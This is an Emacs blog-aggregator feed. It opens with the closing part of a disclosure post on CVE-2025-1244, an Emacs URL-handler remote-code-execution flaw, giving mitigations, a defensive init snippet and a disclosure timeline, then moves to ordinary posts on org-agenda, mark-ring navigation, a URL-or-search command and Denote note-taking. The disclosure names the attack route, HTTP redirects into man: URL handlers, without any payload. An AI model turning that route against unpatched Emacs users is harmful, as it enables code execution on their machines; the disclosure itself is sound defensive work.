Unfortunately, this is insufficient due to the highly dynamic nature of Emacs Lisp. For example, it’s possible to stuff a symbol name into a variable and later call it with funcall/apply/eval and alike. To cover this as well, I’ve created an additional rule searching for such suspiciously named symbols, but due to the capability of creating such symbols on the fly, this remains insufficient. Nevertheless, I do appreciate assistance to avoid code review fatigue. If it’s possible to write a rule for a specific bug and use it to eliminate all variants, that’s as good as it gets.

Mitigation

The most important mitigation has already been applied. If you can, update to Emacs 30.1. For example, Ubuntu allows installing Emacs via Snap, which gives you the latest stable version. Alternatively, make sure to install security updates. For example, Debian Stable backports relevant patches to older package versions. Finally, you can manually apply the patch to older Emacs versions by wrapping the new definition of Man-translate-references in a (with-eval-after-load 'man ...) form:

(with-eval-after-load 'man
  (defun Man-translate-references (ref)
    ...))

Assuming neither of the previous options are to your liking, you can work around the issue by adding the following snippet to your init file:

(defun my-man-interactive-check (_)
  (when (not (called-interactively-p 'interactive))
    (error "Called from URL handler, aborting...")))

(with-eval-after-load 'man
  (advice-add 'man :before #'my-man-interactive-check))

To systematically fix this issue and prevent it from reoccurring, we need to take a step back and re-architect some fundamental assumptions about how URLs should be retrieved:

  • Inside a browser, there is a limited amount of URL handlers that can be processed meaningfully. In practice that would be http:// / https:// / file://, maybe ftp://. However, there is no API to specify what URL handlers should be used. Instead, merely specifying a URL with a not yet encountered handler is sufficient to lazily load up the respective URL handler backend. Worse, a user cannot even customize the list of disallowed URL handlers, which makes workarounds needlessly difficult.
  • When handling HTTP redirects, cross-protocol redirects are allowed. This is sort of unexpected. It makes a lot of sense to redirect from http:// to https://, but not so much to man:. Android systems for example pop up a prompt if an unexpected URL handler is triggered. This additional friction may help things a bit.

Given how nearly all use of url.el restricts itself to HTTP, people desiring a safer library may be happier with an alternative only supporting HTTP. plz.el may get there, eventually.

A more narrow fix would be to eliminate all unsafe process invocations and substitute them with less error-prone APIs that are safe by design. While I do believe this to be a worthwhile goal, this would leave the door open for other ways of URL handler abuse.

Future research

There is still other URL handling code to look at:

  • URL handlers utilizing TRAMP (for example, eww.el contains code to ensure file: URLs to remote resources are retrieved…)
  • url-handler-mode and all file-related APIs that accept URLs with it enabled
  • Remaining code in url-handlers.el (url-copy-file, url-insert-file-contents, etc.)
  • browse-url.el and ffap.el
  • Org’s org-protocol:// and TRAMP’s path handler

To help other security researchers with discovery of new vulnerabilities, improving semgrep and sharing rules would be very useful.

Timeline

  • 2024-11-02: Contacted Emacs maintainers with an initial PoC in a 3rd-party package
  • 2024-11-03: Discovered the vulnerability is fixed on the master branch
  • 2024-11-04: Submitted an improved PoC using a built-in package, but requires user interaction
  • 2024-11-05: Submitted an improved PoC that reduces user interaction to opening a website in the eww browser
  • 2024-11-20: Created a video of the above PoC
  • 2024-11-21: xristos discovered an alternative PoC with zero user interaction
  • 2024-11-25: Recreated above PoC, started writing a blog post
  • 2024-11-25: Informed Emacs maintainers about HTTP redirect PoC increasing CVSS score
  • 2025-02-02: 90 days since initial contact
  • 2025-02-08: Asked Emacs maintainers about CVE identifier allocation
  • 2025-02-12: Allocation of CVE-2025-1244 by Red Hat
  • 2025-02-12: Red Hat security advisory published
  • 2025-02-19: Contacted SUSE security team to clarify their CVSS score adjustment
  • 2025-02-20: Emacs 30.1 release candidate 1 published
  • 2025-02-23: Emacs 30.1 released
  • 2025-04-05: Ubuntu bug report created to request security fixes
  • 2025-06-14: Ubuntu Discourse thread created due to lack of response
  • 2025-06-16: Ubuntu bug report updated
  • 2025-06-19: Ubuntu bug report status did change to requesting a debdiff
  • 2025-06-22: Ubuntu patch posted
  • 2025-07-13: Blog post published
[1]References to ā€œcontent-idā€ fields in a MIME message
[2](1, 2, 3) Utilizes Gnus to do its magic
[3](1, 2) Broken/unfinished code
[4](1, 2, 3) Deprecated code talking to terminals
[5](1, 2, 3, 4, 5) Requires TRAMP support
[6]See BUGS regarding security contacts. You may want to add Ihor Radchenko AKA yantar92 as well, given his involvement in the recent CVEs.
[7]GNUS blocks images by default, see the customizable gnus-blocked-images
[8](1, 2) mh-e/mu4e block images by default and use mm-shr, which obeys the customizables mm-html-inhibit-images and mm-html-blocked-images
[9]Wanderlust blocks images by default and introduces the customizable mime-shr-blocked-images on top of shr-blocked-images
[10]Analysis of the Emacs sources raised many errors in the lexing code. Sometimes only a few lines were skipped, occasionally an entire file was invisible to the rule matching engine. Perhaps using tree-sitter for parsing would help?
-1:-- CVE-2025-1244: From Emacs URL Handler to RCE (Post Vasilij Schneidermann)--L0--C0--2025-07-13T20:57:06.000Z

Irreal: Dealing With The Thing At Point

A few weeks ago I mentioned that Sacha Chua is tremendously organized and gave an example of that organization. That example was about how she automated organizing tasks based on her calendar. Now she provides us with another example.

This time, she provides a shortcut for dealing with the thing at point. Someone asked her for a way of either opening the URL at point or searching for the word or region if the point wasn’t on a URL. Chua, of course, not only ran with that but expanded it to be even more useful. She presents code that deals with whatever the point is on in the following way:

  • Unless there is an active region, assume that the thing at point is a URL, word, an email address, or a filename. If it is a region, just add the text for processing as below
  • If there are links, open them
  • If there are email addresses open an email compose buffer with those addresses populating the ā€œTO:ā€ header
  • If it’s a filename, open it
  • Otherwise do a Web search on the word or text from the region

Chua also describes some nice customizations. You can specify what function to call for searching. This is more than just picking your browser of choice. See Chua’s post for the details. This can even be fine grained. You might want to use different ā€œbrowsing functionsā€ depending on what kind of link it is. Again, see the post for details.

There’s not really enough code involved to make it into a package but if you’re interested, it would be easy to just add Chua’s code to your init.el.

-1:-- Dealing With The Thing At Point (Post Irreal)--L0--C0--2025-07-13T16:07:22.000Z

Donovan R.: My Emacs journey (3) - Agenda for everyone

My Emacs Journey

What if you want an agenda to keep track of TODOs and scheduled tasks, but you only have Emacs at your disposal?
You might find yourself in a situation where you don’t have access to the internet, Outlook, a smartphone or a physical planner.
Or, like me, you might simply prefer to keep your agenda in a straightforward plain text file.
It’s not a common problem, but I found it intriguing enough to write this little Emacs survival guide for anyone interested.

If you know nothing about Emacs, don’t worry. This guide is completely beginner-friendly.
I wrote the initial notes while I was still learning how to use the agenda in Emacs myself, so you’ll be just fine, even if it’s your first time running Emacs.

Before anything else, how to Execute command in Emacs

To run a command in Emacs, press M-x or Alt+x.
This open the prompt in the mini-buffer (at the bottom of Emacs) where you can type and execute commands.

Open the agenda view

To access the agenda menu, run M-x org-agenda RET (Alt+x, org-agenda, <Enter>).
Next, press a to open to the agenda view.
You’ll see an empty agenda first, and that’s no surprise since we haven’t added any tasks yet.

Schedule a task with org-capture

Creating a capture

To create a new task, invoke org-capture with M-x org-capture RET.
A menu will appear for you to select a capture template.
Press t to create new task.
A buffer will open where you can enter your TODO item

Scheduling a date

To add a scheduled date to your task:

  • Run M-x org-schedule RET to bring up the calendar.
  • A calendar view will appear below. You can pick a date using Shift + <Arrow Keys>, or simply input the date and time you want.
    Example: 1 nov 9am, saturday 8pm, +2sun 6pm (meaning 2 Sundays from now at 6pm).
  • Once you’ve chosen the date, press <enter>.

Tip :

  • The shortcut C-c C-s also run org-schedule.

Your TODO item will now have a SCHEDULED: line with the date you chose.

You can repeat this process anytime to reschedule your task.

Saving the task

There are two main ways to save your task:

  • Use save-buffer with C-x C-s or M-x save-buffer RET to save and keep the buffer open for further editing.
  • Use save-buffer-kill-terminal with C-c C-c or M-x save-buffer-kill-terminal RET to save and close the capture buffer.

By default, tasks are saved into a file named .notes in your home directory.
To check this, run M-x describe-variable RET org-default-notes-file RET.

Viewing the scheduled task in the agenda

If you return to the agenda view (M-x org-agenda RET a) now, it will still be empty.
That’s because Org-agenda needs to know which files to scan for tasks.
To fix this:

  • Open your task file with M-x find-file RET or C-x C-f, then entering ~/.notes.
  • Add it to the agenda files by running M-x org-agenda-file-to-front RET or C-c [.

Now, when you reopen the agenda view (C-c a a), your scheduled task should appear!

How to use the agenda

  • To refresh the view, press g.
  • To see more days, add a prefix argument like C-u 14 before running M-x org-agenda RET a. This shows 14 days in the agenda.
  • To jump to the task in its file, navigate to it in the agenda and then press <Enter>.

Re-schedule a date

You can reschedule tasks right from the agenda using Shift + <Arrow Keys> or M-x org-schedule RET to pick a new date.
Refresh the view with g to see your changes.

Change state (TODO, DONE)

When you complete a task, change its state by using M-x org-agenda-todo RET or C-c C-t.
This cycle the task between TODO and DONE.

And that’s it folks!

What else can be said?

I’ve covered just a bit of Org-agenda in here, but the Org-mode ecosystem is truly a beast when it comes to personal organization and note taking.
There is so much you can do with it. It’s a real rabbit hole!
Org-mode can be your agenda, notebook, time tracker, habit tracker, and more. You can even use it as a full-fledged spreadsheet, much like Excel.

With so many features, it’s really easy to get overwhelmed.
Personally, I like to explore how other people use Org-mode and then pick only the ideas that fit my own workflow. I leave the rest for later discoveries.
It’s a sane way to learn step by step without getting lost in the endless possibilities of Org-mode and Emacs.

What I’ve shown above is a very simple workflow. It is very easy to adopt, and it’s more than enough for effective day-to-day usage.
I hope this proves useful to someone out there. And if not, it might come in handy for me later.

-1:-- My Emacs journey (3) - Agenda for everyone (Post Donovan R.)--L0--C0--2025-07-13T08:07:44.000Z

TAONAW - Emacs and Org Mode: Launching a script with a keyboard shortcut on a Mac?

I wanted to try out Eamcs Everywhere for a while, and today I finally took the plunge. The package is on Melpa, so installing it was a breeze, and it worked straight out of the box. The problem, as it turns out, is to get macOS to run the needed command (a script) with a keyboard shortcut.

The idea behind Emacs Everywhere is simple. When you visit a non-Emacs text window on your Mac (say you want to post something on blue sky or Reddit, perhaps answer an email from Mail), you invoke an Emacs frame and write whatever you need. Then, with C-c C-c, just like a capture template, you close that window, and the text you wrote in that Emacs frame is copied into the window you have open. It basically saves you a couple of copy-pastes.

I spent some good time researching how to get a keyboard shortcut to run a script. Most recommendations on the package itself recommend using a third-party app like Alfred, of which I’ve heard many good things. But I don’t want to get yet another app just to have an experimental Emacs package going.

The traditional macOS way seems to involve Automator. You create workflow in there, create the script (it’s just "emacsclient --eval '(emacs-everywhere)'" - oh and yes, it does require you have Emacs server running, which I do) and then call this workflow as a service from MacOS’s keyboard shortcuts, under settings. The problem there is that I don’t see the workflow I created. I know it’s saved, because if I right-click somewhere to open the menu and choose ā€œservices,ā€ I do see it, but it just doesn’t show under my keyboard shortcuts.

I also asked the sage advice of JCS from Irreal, who directed me in the direction of icanhazshortcut. I like the look of this one: it’s an app with the single purpose of creating keyboard shortcuts to do different things - just what I need. But it doesn’t seem to work either - it simply crashes whenever I launch the shortcut I created. It doesn’t look like this app has been updated in a couple of years, so it’s possible some new macOS security feature blocks it somehow.

I’m surprised it’s so challenging to create a custom shortcut on a Mac that will just run a script. It’s the very basic of automation in my opinion. I’m probably missing something simple.

-1:-- Launching a script with a keyboard shortcut on a Mac? (Post TAONAW - Emacs and Org Mode)--L0--C0--2025-07-12T23:17:01.000Z

Irreal: A Back Button For Emacs

I do a lot of my writing on my couch with my MacBook on my lap. That provides a less than optimal typing environment so I frequently mistype a command and end up magically transported to another place and time. Sometimes it’s just to another place in my current file but often it’s to another file altogether.

Apparently, I not the only one who suffers from this. Chris Maiorana, who writes for a living and uses Emacs to do so, has the same problem. He asks, wouldn’t be nice to be able to have a ā€œback keyā€ that would take you back to where you were before you fat fingered some command and were transported into the nether regions.

Maiorana notes that Emacs pretty much has this out of this box with push-mark that stores your location before many location moving commands. It stores your current location in the ā€œmark ringā€ from which you can pop the location to return to the place where the mark was pushed.

But, asks Maiorana, what if you want to go forward too? It’s not to hard to imagine situations where you want to go back and forward between locations during your editing. It turns out that you can do that too with the help of the backard-forward package. Maiorana has a few more details in his post so take a look if you’re interested.

If you don’t want to add another package, you can simply use Ctrl+u Ctrl+Space to pop the last saved location and go to it.

I use Ctrl+u Ctrl+Space all the time but do forget to use it when I inadvertently find myself in an unexpected place. Whether you choose to install the backward-forward package or simply rely of popping the mark, it’s good to be aware of how simple it is to recover.

-1:-- A Back Button For Emacs (Post Irreal)--L0--C0--2025-07-12T15:12:46.000Z

Protesilaos Stavrou: Prot Asks: Carlos about Emacs for engineering, free software, and Spain

Raw link: https://www.youtube.com/watch?v=ENJdpDMYHKk

In this new video series, I talk to anybody who is interested to have a video call with me (so do contact me if you want!). The topics cover anything related to Emacs, technology, and life in general. More information in the announcement I posted: https://protesilaos.com/codelog/2025-07-10-prot-asks-chats-videos-proposal/.

In my 1-hour talk with Carlos, I learn more about how Emacs is used for engineering in tandem with octave-mode. Another Emacs-related topic is note-taking with Org and the use of LaTeX. At parts we talk about scientific publishing and freely accessible knowledge. Some of that relates to free/libre software and the values it has. We also discuss general issues about life in Spain.

-1:-- Prot Asks: Carlos about Emacs for engineering, free software, and Spain (Post Protesilaos Stavrou)--L0--C0--2025-07-12T00:00:00.000Z

Sacha Chua: Emacs: Open URLs or search the web, plus browse-url-handlers

  • [2025-07-14 Mon]: Naturally, do this only with text you trust. =)
  • [2025-07-12 Sat]: Use cl-pushnew instead of add-to-list, correct browse-url-browser-browser-function to browse-url-browser-function, and add an example for eww.

On IRC, someone asked for help configuring Emacs to have a keyboard shortcut that would either open the URL at point or search the web for the region or the word at point. I thought this was a great idea that I would find pretty handy too.

Let's write the interactive function that I'll call from my keyboard shortcut.

  • First, let's check if there's an active region. If there isn't, let's assume we're looking at the thing at point (could be a URL, an e-mail address, a filename, or a word).
  • If there are links, open them.
  • Otherwise, if there are e-mail addresses, compose a message with all those email addresses in the "To" header.
  • Are we at a filename? Let's open that.
  • Otherwise, do a web search. Let's make that configurable. Most people will want to use a web browser to search their favorite search engine, such as DuckDuckGo or Google, so we'll make that the default.
(defcustom my-search-web-handler "https://duckduckgo.com/html/?q="
  "How to search. Could be a string that accepts the search query at the end (URL-encoded)
or a function that accepts the text (unencoded)."
  :type '(choice (string :tag "Prefix URL to search engine.")
                 (function :tag "Handler function.")))

(defun my-open-url-or-search-web (&optional text-or-url)
  (interactive (list (if (region-active-p)
                         (buffer-substring (region-beginning) (region-end))
                       (or
                        (and (derived-mode-p 'org-mode)
                             (let ((elem (org-element-context)))
                               (and (eq (org-element-type elem) 'link)
                                    (buffer-substring-no-properties
                                     (org-element-begin elem)
                                     (org-element-end elem)))))
                        (thing-at-point 'url)
                        (thing-at-point 'email)
                        (thing-at-point 'filename)
                        (thing-at-point 'word)))))
    (catch 'done
      (let (links)
        (with-temp-buffer
          (insert text-or-url)
          (org-mode)
          (goto-char (point-min))
          ;; We add all the links to a list first because following them may change the point
          (while (re-search-forward org-any-link-re nil t)
            (cl-pushnew (match-string-no-properties 0) links))
          (when links
            (dolist (link links)
              (org-link-open-from-string link))
            (throw 'done links))
          ;; Try emails
          (while (re-search-forward thing-at-point-email-regexp nil t)
            (cl-pushnew (match-string-no-properties 0) links))
          (when links
            (compose-mail (string-join links ", "))
            (throw 'done links)))
        ;; Open filename if specified, or do a web search
        (cond
         ((ffap-guesser) (find-file-at-point))
         ((functionp my-search-web-handler)
          (funcall my-search-web-handler text-or-url))
         ((stringp my-search-web-handler)
          (browse-url (concat my-search-web-handler (url-hexify-string text-or-url))))))))

I've been really liking how consult-omni lets me do quick searches as I type from within Emacs, which is actually really cool. I've even extended it to search my bookmarks as well, so that I can find things using my words for them and not trust the internet's words for them. So if I wanted to search using consult-omni, this is how I would do it instead.

(setopt my-search-web-handler #'consult-omni)

Now I can bind that to C-c o in my config with this bit of Emacs Lisp.

(keymap-global-set "C-c o" #'my-open-url-or-search-web)

Here's a quick demo:

Screencast showing it in use

Play by play
  1. Opening a URL: https://example.com
  2. Opening several URLs in a region:
  3. Opening several e-mail addresses:
    • test@example.com
    • another.test@example.com
    • maybe also yet.another.test@example.com
  4. A filename
    • ~/.config/emacs/init.el
  5. With DuckDuckGo handling searches: (setopt my-search-web-handler "https://duckduckgo.com/html?q=")
    • antidisestablishmentarianism
  6. With consult-omni handling searches: (setopt my-search-web-handler #'consult-omni)
    • antidisestablishmentarianism

Depending on the kind of URL, I might want to look at it in different browsers. For example, some websites like https://emacswiki.org work perfectly fine without JavaScript, so opening them in EWW (the Emacs Web Wowser) is great. Then it's right there within Emacs for easy copying, searching, etc. Some websites are a little buggy when run in anything other than Chromium. For example, MailChimp and BigBlueButton (which is the webconference server we use for EmacsConf) both behave a bit better under Google Chrome. There are some URLs I want to ignore because they don't work for me or they tend to be too paywalled, like permalink.gmane.org and medium.com. I want to open Mastodon URLs in mastodon.el. I want to open the rest of the URLs in Firefox, which is my current default browser.

To change the way Emacs opens URLs, you can customize browse-url-browser-function and browse-url-handlers. For example, to set up the behaviour I described, I can use:

(setopt browse-url-handlers
        '(("https?://?medium\\.com" . ignore)
          ("https?://[^/]+/@[^/]+/.*" . mastodon-url-lookup)
          ("https?://mailchimp\\.com" . browse-url-chrome)
          ("https?://bbb\\.emacsverse\\.org" . browse-url-chrome)
          ("https?://emacswiki.org" . eww)))
(setopt browse-url-browser-function 'browse-url-firefox)

If you wanted to use EWW as your default web browser, you could use (setopt browse-url-browser-function 'eww) instead.

Could be a fun tweak. I wonder if something like this might be handy for other people too!

View org source for this post

You can e-mail me at sacha@sachachua.com.

-1:-- Emacs: Open URLs or search the web, plus browse-url-handlers (Post Sacha Chua)--L0--C0--2025-07-11T21:09:24.000Z

Chris Maiorana: Keep your flow with a ā€œbackā€ button for Emacs

Writing involves organizing a lot of information, sometimes spread across multiple files. You want to be able to wrangle all that data with a delicate touch, all the while keeping your flow state.

It can be difficult to stay in a flow state if you accidentally, or intentionally, shift your focus and have to find your way back to what you were doing before your little excursion.

Emacs can help, but also hurt. With so many functions and key commands, it’s easy to accidentally tap the wrong combination of keys and find yourself in some other location of a long document, or maybe even in another file entirely.

Wouldn’t it be nice if you had a simple ā€œbackā€ button that could magically transport you to the exact line, sentence, and word you were working on?

Yes. We can do that.

Emacs provides a basic functionality for this. But, like most things in Emacs, in can be sweetened to make it more user-friendly. Also, it’s not only that we want to go ā€œbackā€ but forward as well.

By the end of this article, you can have this optional functionality added to your config file. Here’s a breakdown of what we will cover:

Table of Contents

Movements

This ā€œbackā€ button functionality is not only meant to catch you after a false key input. It’s meant to improve your overall Emacs functionality.

So what kind of new moves can you do with this, and why would you bother?

I can be editing a file and find myself overcome by a sudden urge to edit some other part of the document, go on that excursion, do my editing, and hit the back button to get back to where I was before my little side quest.

This happens a lot in the writing process. For example, you may be working on one particular scene in which an action or line a dialogue nullifies something that happens in another scene. You can make a note to fix that later, or go and fix it now.

If you’re a ā€œfix it nowā€ kind of writer, this is easy to do in Emacs and get right back to the initial scene you were working on using our new ā€œback buttonā€ functionality.

That’s right. Emacs supports excursions.

How this works (push-mark)

How does this all work?

Emacs uses and internal function called push-mark to save your current point in a ā€œmark ring.ā€ When this function is called a ā€œmarkā€ is made, saving your exact position (point value).

(Check out my full article and video about ā€œpointā€ and what it means in Emacs.)

As you can imagine, with those values saved in the mark ring, you can cycle through them quite easily. You just need some functions to do so.

The push-mark function is already nested within other common functions you may use all the time, such as:

    • The save-buffer function. (Yet another good reason to save frequently.)
    • The beginning-of-buffer and end-of-buffer functions.
    • You can also write a custom command to push your mark whenever you want. But it’s easier to rely on the automatic functionality called within other functions.

You can move your current point back to the previous saved position in your mark ring using C-u C-SPC. But this only goes backward.

Using the backward-forward package

I used a package called backward-forward to get the functionality necessary to move back and forward between marked positions.

(use-package backward-forward
  :ensure t
  :demand t
  :config
  (backward-forward-mode t)
  :bind
  (:map backward-forward-mode-map
        ("<left>" . backward-forward-previous-location)
        ("<right>" . backward-forward-next-location)))

I have mapped the backward and forward movement functions to the left and right arrow keys because I didn’t need those for basic left/right character movement. This has taken some getting-used-to, but I think it’s best to ween yourself off of using the arrow keys for basic character movements anyway.

So now, if I need to go backward I can arrow left and forward with arrow right. Easy.


Thanks for reading. You now know at least one way of setting up back and forward buttons for jumping around your Emacs documents with ease.

Reminders:

The post Keep your flow with a ā€œbackā€ button for Emacs appeared first on The Daily Macro.

-1:-- Keep your flow with a ā€œbackā€ button for Emacs (Post Chris Maiorana)--L0--C0--2025-07-11T13:00:22.000Z

Lambda Land: How I Take Notes for Research

The key principle I follow is this: how I take my notes will evolve over time. I do not stick to any system too dogmatically.

That said, I’ve settled on a system that’s been fairly robust and stable for the past few years. I have tweaked it here and there to make it easier for me to find what I need.

Emacs configuration #

I make heavy use of org-mode and linking. To make linking as ergonomic as possible, I use the following functions and keep them bound in my global keymap so I can access them in any mode:

  • org-store-link

    This will create a link to whatever your cursor is on and store it for later insertion. It will work really hard to get you a link right back to where you were. Sometimes I use this to create a link to a location in source code to come back to later.

  • org-insert-link-global

    This inserts a previously stored link.

  • org-open-at-point-global

    Visit a link—no matter the mode. In org-mode I can simply use org-open-at-point to follow a link, but having this bound globally means I could insert a link inside e.g. a comment in some source code and then visit its location with this function.

  • org-mark-ring-goto

    This is like a history-back button: once you visit a link, use this function to go back to where you were.

I use Denote and the denote-org and denote-sequence extensions for all my notes. Below is a sample of my configuration:

(use-package denote
  :config
  (denote-rename-buffer-mode)
  (put 'denote-file-type 'safe-local-variable 'symbolp)
  :hook
  (dired-mode . denote-dired-mode)
  :custom
  (denote-file-type 'org)
  (denote-directory (expand-file-name "~/where/i/keep/my/notes/")))

(use-package denote-sequence
  :after denote
  :config)

(use-package denote-org
  :after denote
  :custom
  ;; `denote-org-link-to-heading' controls the behavior of
  ;; `org-store-link': setting to id makes it insert an ID in the
  ;; PROPERTIES drawer
  ;;
  ;; (denote-org-store-link-to-heading 'context)
  (denote-org-store-link-to-heading 'id))

(use-package denote-journal
  :after denote
  :custom
  (denote-journal-keyword "labnotes")
  (denote-journal-directory (expand-file-name "~/where/i/keep/my/notes/labnotes"))
  (denote-journal-title-format 'day-date-month-year))

;; Handy menu for Denote
(use-package transient
  :bind
  (:map global-map
        ("M-s-d" . denote-transient))
  :config
  (transient-define-prefix denote-transient ()
    "Denote dispatch"
    [["Note creation (d)"
      ("dd" "new note" denote)
      ("dj" "new or existing journal entry" denote-journal-new-or-existing-entry)
      ("dn" "open or new" denote-open-or-create)
      ("dt" "new specifying date and time" denote-date)
      ("ds" "create in subdirectory " denote-subdirectory)]
     ["Reviewing (r)"
      ("rd" "notes this day" aw/notes-this-day)]
     ["Folgezettel (f)"
      ("fc" "create parent/child/sibling" denote-sequence)
      ("ff" "find parent/child/sibling notes" denote-sequence-find)
      ("fr" "reparent (adopt) current note into another sequence" denote-sequence-reparent)
      ("fp" "find previous sibling" denote-sequence-find-previous-sibling :transient t)
      ("fn" "find next sibling" denote-sequence-find-next-sibling :transient t)]]
    [["Bookkeeping (b)"
      ("br" "prompt and rename" denote-rename-file)
      ("bf" "rename with frontmatter" denote-rename-file-using-front-matter)
      ("bk" "modify keywords" denote-rename-file-keywords)]
     ["Linking (l)"
      ("li" "insert link" denote-link)
      ("lh" "insert link to org heading" denote-org-link-to-heading)
      ("lb" "show backlinks" denote-backlinks)
      ("lg" "visit backlink" denote-find-backlink)
      ("lo" "org backlink block" denote-org-dblock-insert-backlinks)]]
    [["Searching (s)"
      ("sd" "deft" deft)
      ("sn" "consult-notes" consult-notes)
      ("ss" "consult-notes search" consult-notes-search-in-all-notes)]]))

High-level organization #

The highest-level entity in my research is an ā€œepochā€ā€”this is a topic that spans multiple papers. The current epoch I am working on is for choreographic programming. My previous epoch was type tailoring, and the one before that was floating-point work.

Epochs start a new note sequence. These are the ā€œfolgezettelā€ notes that Denote facilities creating. Choreographies is the first epoch that I started doing this with; it’s signature is =1=. The next epoch will get the signature =2=, and so forth.

Each epoch has, as children, notes for ideas related to that epoch, Paper files, and a ā€œdaily notes indexā€ file, the sole purpose of which is to serve as the parent for scores of Daily note files.

An epoch note defines a keyword for that epoch and has the following headings:

  • Products

    List of links to any software projects that result as a byproduct of the research.

  • Papers

    List of links to paper files that fall under this epoch.

  • Current task list

    Most tasks live in daily note files, but sometimes I’ll put TODO items here.

  • Idea backlog

    List of off-the-cuff ideas that are too small to fit into a full note, but might go in a note later on.

I also like keeping a dynamic org block to insert backlinks. I do this in epoch and paper files.

Here is a (truncated) example of what an epoch file is:

#+title:      Choreographies
#+date:       [2024-06-26 Wed 14:01]
#+filetags:   :choreography:epoch:
#+identifier: 20240626T140130
#+signature:  1

Epoch keyword: choreography

* Products

 - [[https://github.com/utahplt/chorex][Chorex]] :: An Elixir library for writing choreographies!

* Papers

#+BEGIN: denote-links :regexp "_choreography.*_paper"
- [[denote:20240710T131628][Choreographies through Tailoring]]
#+END:

* Current task list

See [[denote:20240710T131628][Choreographies through Tailoring::Tasks]].

* Idea backlog

* Related notes

 - [[denote:20240731T164732][Elixir Macro System Pain Points]]
 - [[denote:20250531T233009][1=7  Chorex next steps]]

Backlinks:

#+BEGIN: denote-backlinks :sort-by-component identifier :reverse-sort t
- [[denote:20250523T194509][1=1=116  Friday 23 May 2025]]
- [[denote:20250509T104640][1=1=115  Friday  9 May 2025]]
- [[denote:20250502T113930][1=1=114  Friday  2 May 2025]]
- ...
#+END:

Paper files #

Paper files organize everything about a paper. These are children of an epoch. So, the first paper I write about choreographies will have the sequence =1=1=. Headings in a paper file:

  • Primary links

    Include a link to the epoch the paper belongs to, as well as to the project folder where the LaTeX source of the paper lives.

  • Key information

    Conference deadlines, etc.

  • Contributions

    Keep track of what this paper is trying to accomplish.

  • Things to include in paper

    If I come across something that needs to be cited, mentioned, or dealt with, it goes here.

  • Works referenced

    If I find something when I’m not in a state to put it in the bibliography, it goes here.

  • Tasks

    A list of TODO items for the paper.

Daily note files #

I create one of these a day through the denote-journal-new-or-existing-entry function. Then I have some templates that I expand with the tempel package. Here’s what my templates look like:

(labnotes/generic
 "Epoch: " p n n
 "* Goals for today [/]" n n
 "** Startup" q n n
 "* Work log" n n
 "* Next time")

(labnotes/choreography
 "Epoch: [[denote:20240626T140130][Choreographies]]" n n
 "* Goals for today [/]" n n
 "** Startup" q n n
 "* Work log" n n
 "* Next time")

I create the journal entry, expand the template, then fill out the form. I make sure to ā€œadoptā€ the note as a child of the ā€œdaily note index fileā€ for the current epoch. This file is basically empty and just serves to ensure that the sequence space underneath an epoch doesn’t get cluttered with all these day-to-day task notes.

The daily notes are just there to track what I did that day. They are lab notes. If I have something more substantial to say, it goes into its own separate note file, and then I add a link.

Things that don’t quite fit #

Sometimes I’ll have a thought about an epoch that doesn’t fit in my current paper. When that happens, I just create a new child node of the epoch note. I have lots of notes under the sequence =1= that are not paper files.

Task management #

I have some utilities to go through all of my files tagged labnotes or tasks and produce an org-agenda view. Note: generating the agenda takes on the order of several seconds as it looks through a lot of notes. Below is roughly how I do it:

(use-package org
  :init
  (defun aw/set-update-agenda ()
    "Set or update the agenda list.

Useful for when some files that should be on the agenda list are created
after org initialization."
    (interactive)
    ;; important: setq and not setopt
    (setq org-agenda-custom-commands
          '(("n" "Agenda and All Todos"
             ((agenda)
              (todo)))
            ("w" "Work and research"
             ((agenda)
              (tags-todo "+research")
              (tags-todo "+paper")
              (tags-todo "+reading")
              (tags-todo "+school")
              (tags-todo "+homework")
              (tags-todo "+labnotes-homework"))
             ((org-agenda-tag-filter-preset '("-home"))
              (org-agenda-files
               (append (aw/org-files-with-tag denote-directory "labnotes" 60)
                       (aw/org-files-with-tag denote-directory "tasks" 60)
                       org-agenda-files)))))))
  :config
  (setopt org-latex-pdf-process
          '("lualatex -shell-escape -interaction nonstopmode -output-directory %o %f"
            "lualatex -shell-escape -interaction nonstopmode -output-directory %o %f"
            "lualatex -shell-escape -interaction nonstopmode -output-directory %o %f"))

  (setopt org-export-with-smart-quotes t)

  (setopt org-log-done 'time)               ; Instead of `'time`, also try `'note`
  (setopt org-log-into-drawer t)            ; Move log notes into a drawer

  ;; Semantics:
  ;;  - TODO: open task, ready to do
  ;;  - WAITING: Blocked on something; notes should include what the blocker is
  ;;  - STARTED: Task in-progress
  ;;  - DONE: Task complete; no further action
  ;;  - OBSOLETE: Task not complete, won't fix
  ;;  - MOVED: Task moved to different location;
  ;;    this one kept as record; note indicates where moved
  (setopt org-todo-keywords
          '((sequence "TODO(t)" "WAITING(w@/!)" "STARTED(s!)"
                      "|" "DONE(d!)" "OBSOLETE(o@)" "MOVED(m!/@)")))

  (setopt org-done-keywords '("DONE" "OBSOLETE" "MOVED"))

  (aw/set-update-agenda))

(defun aw/org-files-with-tag (dir tag &optional days-past)
  "Return list of files with filetag `tag' in `dir', optionally filtering to `days-past'"
  (let* ((my-buffer (generate-new-buffer "gather_tags"))
         (process
          (make-process
           :name "gather_tags"
           :buffer my-buffer
           :stderr nil
           :command `("rg"
                      "--files-with-matches"
                      ,(format "^#\\+filetags:.*?:%s:" tag)
                      "--"
                      ,(expand-file-name dir)))))
    (while (accept-process-output process)) ; Flush process output to buffer
    (with-current-buffer my-buffer
      (cl-remove-if-not (lambda (filename)
                          (and (file-exists-p filename)
                               (not (string= filename ""))
                               (or (not days-past)
                                   (time-less-p (time-subtract
                                                 (current-time)
                                                 (days-to-time days-past))
                                                (file-attribute-modification-time
                                                 (file-attributes filename))))))
                        (split-string
                         (buffer-substring-no-properties (point-min) (point-max))
                         "\n")))))

The aw/org-files-with-tag uses ripgrep to find files with the desired tags in the #+filetags: portion of a file. Note that my configuration for denote-journal automatically includes the tag labnotes for any journal entry I create.

Paper management #

I use Zotero to manage my papers. I pay for cloud storage so I can sync my library and annotations between my desktop and my iPad. I love using my iPad to mark up papers. (There’s now an Android app for Zotero.)

I use the Citar package to read the BibTeX database Zotero creates with the Better BibTeX file. I use this to quickly insert citation keys. Citar is smart enough to read your LaTeX files, find the \bibliography{...} directive, and read that BibTeX database when you’re working on that file. Citar is most useful when paired with Vertico.

There are ways to write notes about papers via Denote and Citar; however I typically do all my note writing about papers with a stylus on my iPad. Other, bigger notes that are a product of my thoughts go either in my analog notebook or in a regular note file.

-1:-- How I Take Notes for Research (Post Lambda Land)--L0--C0--2025-07-11T00:00:00.000Z

Irreal: Flyover

Note: Sorry, I got caught up with life and completely forgot to publish this this morning.

